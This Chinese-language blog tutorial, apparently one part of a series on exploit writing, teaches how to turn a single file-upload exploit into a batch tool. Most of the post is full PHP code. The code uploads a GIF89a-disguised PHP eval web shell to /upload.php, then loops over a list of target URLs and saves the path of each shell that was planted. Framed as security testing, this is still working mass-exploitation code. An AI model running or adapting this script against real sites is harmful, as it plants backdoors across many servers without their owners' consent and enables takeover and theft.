?

Sep 27 2018

WEB安全第七章exp編寫五

首頁 » 原創作品 » WEB安全第七章exp編寫五   

WEB安全第七章exp編寫五 批量GETSHELL編寫

第一篇 簡單的exp編寫

第二篇 exp編寫二 POST注入exp編寫
第三篇 getshell exp的編寫

第四篇 存在權限限制exp編寫


通過以上exp學習,基本的exp編寫,應該問題不大,接下來就學習的批量exp編寫。

批量exp 有什么用,例如某個大型cms【cms內容管理系統】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src發布預警信息。

經過安全研究員摸索,poc很快地發布到網上,提供安全人員檢測。 網站管理員 和運維dog 也開始 處理這次事件。

你的企業或任務上很多這樣的網站,并不知道是否存在漏洞,總不能每個用手工去測試。

這樣就要提高效率,進行批量測試。

php學習

以前編寫的exp腳本 都需要命令行運行 exp  如: php.exe exp.php  這樣感覺不夠人性化,也不方便。

想要在php.exe exp.php filename.txt   filename.txt 里面是你要檢測的網址。

如何做到這點。 php提供了一個變量 $argv  當這個變量僅在 register_argc_argv 打開時可用。 注參開 http://php.net/manual/zh/reserved.variables.argv.php

<?php var_dump($argv);?>  終端下運行 php argv.php url.txt


19.jpg


通過這個命令可以看出 這里有兩個數組 0默認是腳本名 1 是txt文件名。

漏洞就拿 暗月靶機系統 上傳漏洞測試那個exp



<?php

function http_send($host, $packet){

        $sock = fsockopen($host, 80);
        
        if(!$sock){
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        
        fputs($sock, $packet);
        
        while (!feof($sock)) {

                $resp .= fread($sock, 1024);
        }
        
        fclose($sock);
        return $resp;

}



function data($host,$filename){
        
        $payload  = "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"\r\n";
        $payload .= "Content-Type:  image/jpeg\r\n\r\n";
        $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\r\n";
        $payload .= "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="sub"";
        $payload .="\r\n\r\n";
        $payload .="12132\r\n";
        $payload .="-----------------------------86531354118821--\r\n";
        $packet  = "POST /upload.php HTTP/1.1\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821\r\n";
        $packet .= "Content-Length: ".strlen($payload)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $payload;
        
        return $packet;

}


$filename  = "moon.php";
$host = "target_sys.com";
$html_str =http_send($host,data($host,$filename));

preg_match("/Stored in: (.*?)</", $html_str,$m);

if ($m[1]){
        echo "http://".$host."/".$m[1];
}else{
        echo "flase";
}



這個exp 現在進行修改。修改的思路是 讀取文件,將里的url遍歷測試,把結果保存起來。



<?php
function http_send($host, $packet){

        $sock = fsockopen($host, 80);
        
        if(!$sock){
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        
        fputs($sock, $packet);
        
        while (!feof($sock)) {

                $resp .= fread($sock, 1024);
        }
        
        fclose($sock);
        return $resp;

}



function data($host,$filename){
        
        $payload  = "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"\r\n";
        $payload .= "Content-Type:  image/jpeg\r\n\r\n";
        $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\r\n";
        $payload .= "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="sub"";
        $payload .="\r\n\r\n";
        $payload .="12132\r\n";
        $payload .="-----------------------------86531354118821--\r\n";
        $packet  = "POST /upload.php HTTP/1.1\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821\r\n";
        $packet .= "Content-Length: ".strlen($payload)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $payload;
        
        return $packet;

}



function w($fileName,$data){
        fwrite(fopen($fileName,"a+"),$data."\r\n");

}


function exploit($host){
        $filename  = "moon.php";
        $resulit='';
        $html_str =http_send($host,data($host,$filename));
        preg_match("/Stored in: (.*?)</", $html_str,$m);
        if ($m[1]){
                $resulit="http://".$host."/".$m[1];
        }
        return $resulit;

}


if(count($argv)<3){
        print $argv[0]." url.txt save.txt";
        exit;
}


$url_txt = $argv[1];

$sava_file = $argv[2];

$myurl = file($url_txt);


foreach ($myurl as $value){
                echo "Testing {$value}";
                $v = substr($value,strpos($value,"http://")+2);
                $v = trim(str_replace("/","",$v));
                $result = exploit($v);
                if($result){
                        
                        w($sava_file,$result);
                }
                sleep(1);
}
下載 exp4.rar 20.jpg 測試結果 21.jpg
foreach ($myurl as $value){
                echo "Testing {$value}";
                $v = substr($value,strpos($value,"http://")+2);
                $v = trim(str_replace("/","",$v));
                $result = exploit($v);
                if($result){
                        
                        w($sava_file,$result);
                }
                sleep(1);
}


個部分就是 遍歷檢測url的代碼。 將結果保存在  $sava_file = save.txt





如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: exp編寫

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «暗月靶機測試系統測試版 | WEB安全第七章exp編寫四»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖